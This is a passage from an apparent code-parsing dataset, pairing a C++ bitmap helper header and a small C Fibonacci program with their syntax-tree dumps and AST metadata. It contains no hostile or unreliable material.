721, 728, 729, 733, 735, 738, 749, 750, 784, 787, 788, 797, 800, 805, 807, 809], "assignments": [339, 387, 465, 480, 521, 596, 637, 725, 743, 816], "loops": [506, 622], "conditionals": [0, 1, 2, 5, 13, 14, 16, 17, 21, 24, 33, 36, 45, 52, 59, 66, 69, 72, 74, 79, 82, 89, 91, 98, 101, 104, 106, 109, 112, 117, 120, 123, 125, 128, 136, 145, 148, 150, 156, 158, 160, 161, 165, 168, 177, 180, 189, 196, 203, 210, 213, 216, 218, 223, 226, 233, 235, 242, 245, 248, 250, 253, 256, 261, 264, 267, 269, 272, 280, 289, 292, 294, 300, 302, 308, 314, 316, 318, 320, 322, 330, 332, 333, 336, 338, 341, 343, 345, 349, 351, 360, 366, 369, 381, 386, 388, 392, 395, 399, 402, 405, 407, 412, 418, 423, 425, 426, 429, 440, 442, 444, 447, 449, 453, 454, 457, 459, 462, 464, 466, 470, 474, 477, 479, 481, 486, 489, 491, 495, 499, 502, 504, 505, 508, 510, 513, 516, 520, 522, 526, 530, 533, 535, 538, 541, 543, 548, 554, 559, 561, 562, 565, 576, 578, 580, 583, 585, 589, 590, 592, 594, 595, 597, 602, 605, 607, 611, 615, 618, 620, 621, 624, 626, 629, 632, 636, 638, 642, 645, 650, 653, 655, 662, 665, 667, 672, 678, 683, 685, 686, 689, 700, 702, 704, 707, 709, 713, 714, 717, 719, 722, 724, 726, 730, 736, 739, 741, 744, 751, 754, 756, 761, 767, 772, 774, 775, 778, 789, 791, 793, 796, 798, 802, 803, 810, 812, 813, 817, 821], "returns": [28, 40, 56, 75, 107, 126, 151, 172, 184, 200, 219, 251, 270, 295, 656, 658], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11, 29, 42, 62, 94, 133, 139, 153, 173, 186, 206, 238, 277, 283, 297, 323, 353, 372, 390, 432, 472, 483, 528, 568, 599, 644, 692, 732, 746, 781, 819], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 12, "universal_type": "function", "name": "Fill_BV", "text_snippet": "namespace geas {\n namespace B32 {\n inline unsigned block_bits(void) { return 5; }\n inline uns"}, {"node_id": 15, "universal_type": "function", "name": "unknown", "text_snippet": "namespace B32 {\n inline unsigned block_bits(void) { return 5; }\n inline unsigned block_size(vo"}, {"node_id": 18, "universal_type": "function", "name": "unknown", "text_snippet": "inline unsigned block_bits(void) { return 5; }"}, {"node_id": 23, "universal_type": "function", "name": "unknown", "text_snippet": "block_bits(void)"}, {"node_id": 30, "universal_type": "function", "name": "unknown", "text_snippet": "inline unsigned block_size(void) { return 1 << block_bits(); }"}, {"node_id": 35, "universal_type": "function", "name": "unknown", "text_snippet": "block_size(void)"}, {"node_id": 47, "universal_type": "function", "name": "unknown", "text_snippet": "inline uint64_t block_mask(void) { return block_size()-1; }"}, {"node_id": 51, "universal_type": "function", "name": "unknown", "text_snippet": "block_mask(void)"}, {"node_id": 63, "universal_type": "function", "name": "unknown", "text_snippet": "inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }"}, {"node_id": 68, "universal_type": "function", "name": "unknown", "text_snippet": "req_words(unsigned sz)"}, {"node_id": 95, "universal_type": "function", "name": "unknown", "text_snippet": "inline unsigned block(unsigned p) { return p >> block_bits(); }"}, {"node_id": 100, "universal_type": "function", "name": "unknown", "text_snippet": "block(unsigned p)"}, {"node_id": 114, "universal_type": "function", "name": "unknown", "text_snippet": "inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }"}, {"node_id": 119, "universal_type": "function", "name": "unknown", "text_snippet": "index(unsigned p)"}, {"node_id": 140, "universal_type": "function", "name": "unknown", "text_snippet": "inline uint64_t bit(unsigned p) { return 1ull << index(p); }"}, {"node_id": 144, "universal_type": "function", "name": "unknown", "text_snippet": "bit(unsigned p)"}, {"node_id": 159, "universal_type": "function", "name": "Fill_BV", "text_snippet": "namespace B64 {\n inline unsigned block_bits(void) { return 6; }\n inline unsigned block_size(vo"}, {"node_id": 162, "universal_type": "function", "name": "unknown", "text_snippet": "inline unsigned block_bits(void) { return 6; }"}, {"node_id": 167, "universal_type": "function", "name": "unknown", "text_snippet": "block_bits(void)"}, {"node_id": 174, "universal_type": "function", "name": "unknown", "text_snippet": "inline unsigned block_size(void) { return 1 << block_bits(); }"}, {"node_id": 179, "universal_type": "function", "name": "unknown", "text_snippet": "block_size(void)"}, {"node_id": 191, "universal_type": "function", "name": "unknown", "text_snippet": "inline uint64_t block_mask(void) { return block_size()-1; }"}, {"node_id": 195, "universal_type": "function", "name": "unknown", "text_snippet": "block_mask(void)"}, {"node_id": 207, "universal_type": "function", "name": "unknown", "text_snippet": "inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }"}, {"node_id": 212, "universal_type": "function", "name": "unknown", "text_snippet": "req_words(unsigned sz)"}, {"node_id": 239, "universal_type": "function", "name": "unknown", "text_snippet": "inline unsigned block(unsigned p) { return p >> block_bits(); }"}, {"node_id": 244, "universal_type": "function", "name": "unknown", "text_snippet": "block(unsigned p)"}, {"node_id": 258, "universal_type": "function", "name": "unknown", "text_snippet": "inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }"}, {"node_id": 263, "universal_type": "function", "name": "unknown", "text_snippet": "index(unsigned p)"}, {"node_id": 284, "universal_type": "function", "name": "unknown", "text_snippet": "inline uint64_t bit(unsigned p) { return 1ull << index(p); }"}, {"node_id": 288, "universal_type": "function", "name": "unknown", "text_snippet": "bit(unsigned p)"}, {"node_id": 303, "universal_type": "function", "name": "Fill_BV", "text_snippet": "inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_w"}, {"node_id": 307, "universal_type": "function", "name": "unknown", "text_snippet": "Fill_BV(uint64_t* start, unsigned sz)"}, {"node_id": 359, "universal_type": "function", "name": "base", "text_snippet": "Min_BV(uint64_t* start, int base"}, {"node_id": 411, "universal_type": "function", "name": "base", "text_snippet": "Iter_BV(uint64_t* b, uint64_t* e, F f, int base"}, {"node_id": 492, "universal_type": "function", "name": "Iter_Word", "text_snippet": "void Iter_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin"}, {"node_id": 494, "universal_type": "function", "name": "unknown", "text_snippet": "Iter_Word(int base, uint64_t word, F f)"}, {"node_id": 512, "universal_type": "function", "name": "unknown", "text_snippet": "offset(__builtin_ctzll(word))"}, {"node_id": 517, "universal_type": "function", "name": "unknown", "text_snippet": "(word)"}, {"node_id": 547, "universal_type": "function", "name": "base", "text_snippet": "Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base"}, {"node_id": 608, "universal_type": "function", "name": "Forall_Word", "text_snippet": "bool Forall_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__built"}, {"node_id": 610, "universal_type": "function", "name": "unknown", "text_snippet": "Forall_Word(int base, uint64_t word, F f)"}, {"node_id": 628, "universal_type": "function", "name": "unknown", "text_snippet": "offset(__builtin_ctzll(word))"}, {"node_id": 633, "universal_type": "function", "name": "unknown", "text_snippet": "(word)"}, {"node_id": 671, "universal_type": "function", "name": "base", "text_snippet": "Forall_BV(uint64_t* b, uint64_t* e, F f, int base"}, {"node_id": 760, "universal_type": "function", "name": "base", "text_snippet": "Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base"}], "class_declarations": [{"node_id": 19, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 31, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 48, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 64, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 96, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 115, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 141, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 163, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 175, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 192, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 208, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 240, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 259, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 285, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 304, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 355, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}], "import_statements": [{"node_id": 6, "text": "#include <cstring>\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <stdint.h>\n"}, {"node_id": 10, "text": "#include"}]}, "original_source_code": "#ifndef GEAS__BITOPS__H\n#define GEAS__BITOPS__H\n// Helper header for doing stuff on BitMaps.\n#include <cstring>\n#include <stdint.h>\n\nnamespace geas {\n namespace B32 {\n inline unsigned block_bits(void) { return 5; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n };\n\n // TODO: Factor all this stuff out\n namespace B64 {\n inline unsigned block_bits(void) { return 6; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n\n inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }\n\n inline int Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start);\n }\n \n template<class F>\n inline void Iter_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }\n\n template<class F>\n inline void Iter_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n f(base + offset);\n }\n }\n template<class F>\n inline void Iter_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask)\n f(base, mask);\n base += 64;\n }\n }\n template<class F>\n inline bool Forall_Word(int base, uint64_t word, F f) {\n while(word) {\n unsigned offset(__builtin_ctzll(word));\n word &= (word-1);\n if(!f(base + offset))\n return false;\n }\n return true;\n }\n template<class F>\n inline bool Forall_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n if(!f(base + offset))\n return false;\n }\n base += 64;\n }\n return true;\n }\n template<class F>\n inline bool Forall_Blocks(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n if(mask) {\n if(!f(base, mask))\n return false;\n }\n base += 64;\n }\n return true;\n }\n };\n};\n\n#endif\n"}
81,117
c
#include <stdio.h> #include <stdlib.h> double fibonacci(long); main(){ long resultado, num; printf("Entre com um inteiro: "); scanf("%ld", &num); int i; for (i = 1;i<=num;i++) printf("Fibonacci(%3d) - %G\n", i, fibonacci(i)); getchar(); } double fibonacci(long n) //fibonacci nao-recursiva { double temp; double i = 1; double soma = 0; int k; for(k=1;k<=n;k++){ temp = i + soma; i = soma; soma = temp; } return soma; }
19.04
25
(translation_unit) "#include <stdio.h>\n#include <stdlib.h>\ndouble fibonacci(long);\nmain(){\n long resultado, num;\n printf("Entre com um inteiro: ");\n scanf("%ld", &num);\n int i;\n for (i = 1;i<=num;i++)\n printf("Fibonacci(%3d) - %G\n", i, fibonacci(i));\n getchar();\n}\ndouble fibonacci(long n) //fibonacci nao-recursiva\n{\n double temp;\n double i = 1;\n double soma = 0;\n int k;\n for(k=1;k<=n;k++){\n temp = i + soma;\n i = soma;\n soma = temp;\n }\n return soma;\n}\n" (preproc_include) "#include <stdio.h>\n" (#include) "#include" (system_lib_string) "<stdio.h>" (preproc_include) "#include <stdlib.h>\n" (#include) "#include" (system_lib_string) "<stdlib.h>" (declaration) "double fibonacci(long);" (primitive_type) "double" (function_declarator) "fibonacci(long)" (identifier) "fibonacci" (parameter_list) "(long)" (() "(" (parameter_declaration) "long" (sized_type_specifier) "long" (long) "long" ()) ")" (;) ";" (expression_statement) "main()" (call_expression) "main()" (identifier) "main" (argument_list) "()" (() "(" ()) ")" (;) "" (compound_statement) "{\n long resultado, num;\n printf("Entre com um inteiro: ");\n scanf("%ld", &num);\n int i;\n for (i = 1;i<=num;i++)\n printf("Fibonacci(%3d) - %G\n", i, fibonacci(i));\n getchar();\n}" ({) "{" (declaration) "long resultado, num;" (sized_type_specifier) "long" (long) "long" (identifier) "resultado" (,) "," (identifier) "num" (;) ";" (expression_statement) "printf("Entre com um inteiro: ");" (call_expression) "printf("Entre com um inteiro: ")" (identifier) "printf" (argument_list) "("Entre com um inteiro: ")" (() "(" (string_literal) ""Entre com um inteiro: "" (") """ (string_content) "Entre com um inteiro: " (") """ ()) ")" (;) ";" (expression_statement) "scanf("%ld", &num);" (call_expression) "scanf("%ld", &num)" (identifier) "scanf" (argument_list) "("%ld", &num)" (() "(" (string_literal) ""%ld"" (") """ (string_content) "%ld" (") """ (,) "," (pointer_expression) "&num" (&) "&" (identifier) "num" ()) ")" (;) ";" (declaration) "int i;" (primitive_type) "int" (identifier) "i" (;) ";" (for_statement) "for (i = 1;i<=num;i++)\n printf("Fibonacci(%3d) - %G\n", i, fibonacci(i));" (for) "for" (() "(" (assignment_expression) "i = 1" (identifier) "i" (=) "=" (number_literal) "1" (;) ";" (binary_expression) "i<=num" (identifier) "i" (<=) "<=" (identifier) "num" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (expression_statement) "printf("Fibonacci(%3d) - %G\n", i, fibonacci(i));" (call_expression) "printf("Fibonacci(%3d) - %G\n", i, fibonacci(i))" (identifier) "printf" (argument_list) "("Fibonacci(%3d) - %G\n", i, fibonacci(i))" (() "(" (string_literal) ""Fibonacci(%3d) - %G\n"" (") """ (string_content) "Fibonacci(%3d) - %G" (escape_sequence) "\n" (") """ (,) "," (identifier) "i" (,) "," (call_expression) "fibonacci(i)" (identifier) "fibonacci" (argument_list) "(i)" (() "(" (identifier) "i" ()) ")" ()) ")" (;) ";" (expression_statement) "getchar();" (call_expression) "getchar()" (identifier) "getchar" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (function_definition) "double fibonacci(long n) //fibonacci nao-recursiva\n{\n double temp;\n double i = 1;\n double soma = 0;\n int k;\n for(k=1;k<=n;k++){\n temp = i + soma;\n i = soma;\n soma = temp;\n }\n return soma;\n}" (primitive_type) "double" (function_declarator) "fibonacci(long n)" (identifier) "fibonacci" (parameter_list) "(long n)" (() "(" (parameter_declaration) "long n" (sized_type_specifier) "long" (long) "long" (identifier) "n" ()) ")" (comment) "//fibonacci nao-recursiva" (compound_statement) "{\n double temp;\n double i = 1;\n double soma = 0;\n int k;\n for(k=1;k<=n;k++){\n temp = i + soma;\n i = soma;\n soma = temp;\n }\n return soma;\n}" ({) "{" (declaration) "double temp;" (primitive_type) "double" (identifier) "temp" (;) ";" (declaration) "double i = 1;" (primitive_type) "double" (init_declarator) "i = 1" (identifier) "i" (=) "=" (number_literal) "1" (;) ";" (declaration) "double soma = 0;" (primitive_type) "double" (init_declarator) "soma = 0" (identifier) "soma" (=) "=" (number_literal) "0" (;) ";" (declaration) "int k;" (primitive_type) "int" (identifier) "k" (;) ";" (for_statement) "for(k=1;k<=n;k++){\n temp = i + soma;\n i = soma;\n soma = temp;\n }" (for) "for" (() "(" (assignment_expression) "k=1" (identifier) "k" (=) "=" (number_literal) "1" (;) ";" (binary_expression) "k<=n" (identifier) "k" (<=) "<=" (identifier) "n" (;) ";" (update_expression) "k++" (identifier) "k" (++) "++" ()) ")" (compound_statement) "{\n temp = i + soma;\n i = soma;\n soma = temp;\n }" ({) "{" (expression_statement) "temp = i + soma;" (assignment_expression) "temp = i + soma" (identifier) "temp" (=) "=" (binary_expression) "i + soma" (identifier) "i" (+) "+" (identifier) "soma" (;) ";" (expression_statement) "i = soma;" (assignment_expression) "i = soma" (identifier) "i" (=) "=" (identifier) "soma" (;) ";" (expression_statement) "soma = temp;" (assignment_expression) "soma = temp" (identifier) "soma" (=) "=" (identifier) "temp" (;) ";" (}) "}" (return_statement) "return soma;" (return) "return" (identifier) "soma" (;) ";" (}) "}"
192
0
{"language": "c", "success": true, "metadata": {"lines": 25, "avg_line_length": 19.04, "nodes": 116, "errors": 0, "source_hash": "ef0c1c59ac94aa664abcc4dbef29e4d7dea23ae99fcef1f91197ddb6a8e6eef9", "categorized_nodes": 83}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include <stdio.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<stdio.h>", "parent": 0, "children": [], "start_point": {"row": 0, "column": 9}, "end_point": {"row": 0, "column": 18}}, {"id": 3, "type": "preproc_include", "text": "#include <stdlib.h>\n", "parent": null, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<stdlib.h>", "parent": 3, "children": [], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 19}}, {"id": 6, "type": "declaration", "text": "double fibonacci(long);", "parent": null, "children": [7, 8], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 23}}, {"id": 7, "type": "primitive_type", "text": "double", "parent": 6, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 6}}, {"id": 8, "type": "function_declarator", "text": "fibonacci(long)", "parent": 6, "children": [9, 10], "start_point": {"row": 2, "column": 7}, "end_point": {"row": 2, "column": 22}}, {"id": 9, "type": "identifier", "text": "fibonacci", "parent": 8, "children": [], "start_point": {"row": 2, "column": 7}, "end_point": {"row": 2, "column": 16}}, {"id": 10, "type": "parameter_list", "text": "(long)", "parent": 8, "children": [11], "start_point": {"row": 2, "column": 16}, "end_point": {"row": 2, "column": 22}}, {"id": 11, "type": "parameter_declaration", "text": "long", "parent": 10, "children": [12], "start_point": {"row": 2, "column": 17}, "end_point": {"row": 2, "column": 21}}, {"id": 12, "type": "sized_type_specifier", "text": "long", "parent": 11, "children": [13], "start_point": {"row": 2, "column": 17}, "end_point": {"row": 2, "column": 21}}, {"id": 13, "type": "long", "text": "long", "parent": 12, "children": [], "start_point": {"row": 2, "column": 17}, "end_point": {"row": 2, "column": 21}}, {"id": 14, "type": "call_expression", "text": "main()", "parent": null, "children": [15, 16], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 6}}, {"id": 15, "type": "identifier", "text": "main", "parent": 14, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 4}}, {"id": 16, "type": "argument_list", "text": "()", "parent": 14, "children": [], "start_point": {"row": 3, "column": 4}, "end_point": {"row": 3, "column": 6}}, {"id": 17, "type": "declaration", "text": "long resultado, num;", "parent": null, "children": [18, 20, 21], "start_point": {"row": 4, "column": 4}, "end_point": {"row": 4, "column": 24}}, {"id": 18, "type": "sized_type_specifier", "text": "long", "parent": 17, "children": [19], "start_point": {"row": 4, "column": 4}, "end_point": {"row": 4, "column": 8}}, {"id": 19, "type": "long", "text": "long", "parent": 18, "children": [], "start_point": {"row": 4, "column": 4}, "end_point": {"row": 4, "column": 8}}, {"id": 20, "type": "identifier", "text": "resultado", "parent": 17, "children": [], "start_point": {"row": 4, "column": 9}, "end_point": {"row": 4, "column": 18}}, {"id": 21, "type": "identifier", "text": "num", "parent": 17, "children": [], "start_point": {"row": 4, "column": 20}, "end_point": {"row": 4, "column": 23}}, {"id": 22, "type": "call_expression", "text": "printf(\"Entre com um inteiro: \")", "parent": null, "children": [23, 24], "start_point": {"row": 5, "column": 4}, "end_point": {"row": 5, "column": 36}}, {"id": 23, "type": "identifier", "text": "printf", "parent": 22, "children": [], "start_point": {"row": 5, "column": 4}, "end_point": {"row": 5, "column": 10}}, {"id": 24, "type": "argument_list", "text": "(\"Entre com um inteiro: \")", "parent": 22, "children": [25], "start_point": {"row": 5, "column": 10}, "end_point": {"row": 5, "column": 36}}, {"id": 25, "type": "string_literal", "text": "\"Entre com um inteiro: \"", "parent": 24, "children": [], "start_point": {"row": 5, "column": 11}, "end_point": {"row": 5, "column": 35}}, {"id": 26, "type": "call_expression", "text": "scanf(\"%ld\", &num)", "parent": null, "children": [27, 28], "start_point": {"row": 6, "column": 4}, "end_point": {"row": 6, "column": 22}}, {"id": 27, "type": "identifier", "text": "scanf", "parent": 26, "children": [], "start_point": {"row": 6, "column": 4}, "end_point": {"row": 6, "column": 9}}, {"id": 28, "type": "argument_list", "text": "(\"%ld\", &num)", "parent": 26, "children": [29, 30], "start_point": {"row": 6, "column": 9}, "end_point": {"row": 6, "column": 22}}, {"id": 29, "type": "string_literal", "text": "\"%ld\"", "parent": 28, "children": [], "start_point": {"row": 6, "column": 10}, "end_point": {"row": 6, "column": 15}}, {"id": 30, "type": "pointer_expression", "text": "&num", "parent": 28, "children": [31], "start_point": {"row": 6, "column": 17}, "end_point": {"row": 6, "column": 21}}, {"id": 31, "type": "identifier", "text": "num", "parent": 30, "children": [], "start_point": {"row": 6, "column": 18}, "end_point": {"row": 6, "column": 21}}, {"id": 32, "type": "declaration", "text": "int i;", "parent": null, "children": [33, 34], "start_point": {"row": 7, "column": 4}, "end_point": {"row": 7, "column": 10}}, {"id": 33, "type": "primitive_type", "text": "int", "parent": 32, "children": [], "start_point": {"row": 7, "column": 4}, "end_point": {"row": 7, "column": 7}}, {"id": 34, "type": "identifier", "text": "i", "parent": 32, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 9}}, {"id": 35, "type": "for_statement", "text": "for (i = 1;i<=num;i++)\n\t \t printf(\"Fibonacci(%3d) - %G\\n\", i, fibonacci(i));", "parent": null, "children": [36, 40, 44], "start_point": {"row": 8, "column": 4}, "end_point": {"row": 9, "column": 57}}, {"id": 36, "type": "assignment_expression", "text": "i = 1", "parent": 35, "children": [37, 38, 39], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 14}}, {"id": 37, "type": "identifier", "text": "i", "parent": 36, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 10}}, {"id": 38, "type": "=", "text": "=", "parent": 36, "children": [], "start_point": {"row": 8, "column": 11}, "end_point": {"row": 8, "column": 12}}, {"id": 39, "type": "number_literal", "text": "1", "parent": 36, "children": [], "start_point": {"row": 8, "column": 13}, "end_point": {"row": 8, "column": 14}}, {"id": 40, "type": "binary_expression", "text": "i<=num", "parent": 35, "children": [41, 42, 43], "start_point": {"row": 8, "column": 15}, "end_point": {"row": 8, "column": 21}}, {"id": 41, "type": "identifier", "text": "i", "parent": 40, "children": [], "start_point": {"row": 8, "column": 15}, "end_point": {"row": 8, "column": 16}}, {"id": 42, "type": "<=", "text": "<=", "parent": 40, "children": [], "start_point": {"row": 8, "column": 16}, "end_point": {"row": 8, "column": 18}}, {"id": 43, "type": "identifier", "text": "num", "parent": 40, "children": [], "start_point": {"row": 8, "column": 18}, "end_point": {"row": 8, "column": 21}}, {"id": 44, "type": "update_expression", "text": "i++", "parent": 35, "children": [45, 46], "start_point": {"row": 8, "column": 22}, "end_point": {"row": 8, "column": 25}}, {"id": 45, "type": "identifier", "text": "i", "parent": 44, "children": [], "start_point": {"row": 8, "column": 22}, "end_point": {"row": 8, "column": 23}}, {"id": 46, "type": "++", "text": "++", "parent": 44, "children": [], "start_point": {"row": 8, "column": 23}, "end_point": {"row": 8, "column": 25}}, {"id": 47, "type": "call_expression", "text": "printf(\"Fibonacci(%3d) - %G\\n\", i, fibonacci(i))", "parent": 35, "children": [48, 49], "start_point": {"row": 9, "column": 8}, "end_point": {"row": 9, "column": 56}}, {"id": 48, "type": "identifier", "text": "printf", "parent": 47, "children": [], "start_point": {"row": 9, "column": 8}, "end_point": {"row": 9, "column": 14}}, {"id": 49, "type": "argument_list", "text": "(\"Fibonacci(%3d) - %G\\n\", i, fibonacci(i))", "parent": 47, "children": [50, 52, 53], "start_point": {"row": 9, "column": 14}, "end_point": {"row": 9, "column": 56}}, {"id": 50, "type": "string_literal", "text": "\"Fibonacci(%3d) - %G\\n\"", "parent": 49, "children": [51], "start_point": {"row": 9, "column": 15}, "end_point": {"row": 9, "column": 38}}, {"id": 51, "type": "escape_sequence", "text": "\\n", "parent": 50, "children": [], "start_point": {"row": 9, "column": 35}, "end_point": {"row": 9, "column": 37}}, {"id": 52, "type": "identifier", "text": "i", "parent": 49, "children": [], "start_point": {"row": 9, "column": 40}, "end_point": {"row": 9, "column": 41}}, {"id": 53, "type": "call_expression", "text": "fibonacci(i)", "parent": 49, "children": [54, 55], "start_point": {"row": 9, "column": 43}, "end_point": {"row": 9, "column": 55}}, {"id": 54, "type": "identifier", "text": "fibonacci", "parent": 53, "children": [], "start_point": {"row": 9, "column": 43}, "end_point": {"row": 9, "column": 52}}, {"id": 55, "type": "argument_list", "text": "(i)", "parent": 53, "children": [56], "start_point": {"row": 9, "column": 52}, "end_point": {"row": 9, "column": 55}}, {"id": 56, "type": "identifier", "text": "i", "parent": 55, "children": [], "start_point": {"row": 9, "column": 53}, "end_point": {"row": 9, "column": 54}}, {"id": 57, "type": "call_expression", "text": "getchar()", "parent": null, "children": [58, 59], "start_point": {"row": 10, "column": 7}, "end_point": {"row": 10, "column": 16}}, {"id": 58, "type": "identifier", "text": "getchar", "parent": 57, "children": [], "start_point": {"row": 10, "column": 7}, "end_point": {"row": 10, "column": 14}}, {"id": 59, "type": "argument_list", "text": "()", "parent": 57, "children": [], "start_point": {"row": 10, "column": 14}, "end_point": {"row": 10, "column": 16}}, {"id": 60, "type": "function_definition", "text": "double fibonacci(long n)\t //fibonacci nao-recursiva\n{\n \t double temp;\n \t double i = 1;\n \t double soma = 0;\n \t int k;\n \t for(k=1;k<=n;k++){\n \t temp = i + soma;\n \t i = soma;\n \t soma = temp;\n }\n return soma;\n}", "parent": null, "children": [61, 62], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 24, "column": 1}}, {"id": 61, "type": "primitive_type", "text": "double", "parent": 60, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 6}}, {"id": 62, "type": "function_declarator", "text": "fibonacci(long n)", "parent": 60, "children": [63, 64], "start_point": {"row": 12, "column": 7}, "end_point": {"row": 12, "column": 24}}, {"id": 63, "type": "identifier", "text": "fibonacci", "parent": 62, "children": [], "start_point": {"row": 12, "column": 7}, "end_point": {"row": 12, "column": 16}}, {"id": 64, "type": "parameter_list", "text": "(long n)", "parent": 62, "children": [65], "start_point": {"row": 12, "column": 16}, "end_point": {"row": 12, "column": 24}}, {"id": 65, "type": "parameter_declaration", "text": "long n", "parent": 64, "children": [66, 68], "start_point": {"row": 12, "column": 17}, "end_point": {"row": 12, "column": 23}}, {"id": 66, "type": "sized_type_specifier", "text": "long", "parent": 65, "children": [67], "start_point": {"row": 12, "column": 17}, "end_point": {"row": 12, "column": 21}}, {"id": 67, "type": "long", "text": "long", "parent": 66, "children": [], "start_point": {"row": 12, "column": 17}, "end_point": {"row": 12, "column": 21}}, {"id": 68, "type": "identifier", "text": "n", "parent": 65, "children": [], "start_point": {"row": 12, "column": 22}, "end_point": {"row": 12, "column": 23}}, {"id": 69, "type": "declaration", "text": "double temp;", "parent": 60, "children": [70, 71], "start_point": {"row": 14, "column": 3}, "end_point": {"row": 14, "column": 15}}, {"id": 70, "type": "primitive_type", "text": "double", "parent": 69, "children": [], "start_point": {"row": 14, "column": 3}, "end_point": {"row": 14, "column": 9}}, {"id": 71, "type": "identifier", "text": "temp", "parent": 69, "children": [], "start_point": {"row": 14, "column": 10}, "end_point": {"row": 14, "column": 14}}, {"id": 72, "type": "declaration", "text": "double i = 1;", "parent": 60, "children": [73, 74], "start_point": {"row": 15, "column": 3}, "end_point": {"row": 15, "column": 16}}, {"id": 73, "type": "primitive_type", "text": "double", "parent": 72, "children": [], "start_point": {"row": 15, "column": 3}, "end_point": {"row": 15, "column": 9}}, {"id": 74, "type": "init_declarator", "text": "i = 1", "parent": 72, "children": [75, 76, 77], "start_point": {"row": 15, "column": 10}, "end_point": {"row": 15, "column": 15}}, {"id": 75, "type": "identifier", "text": "i", "parent": 74, "children": [], "start_point": {"row": 15, "column": 10}, "end_point": {"row": 15, "column": 11}}, {"id": 76, "type": "=", "text": "=", "parent": 74, "children": [], "start_point": {"row": 15, "column": 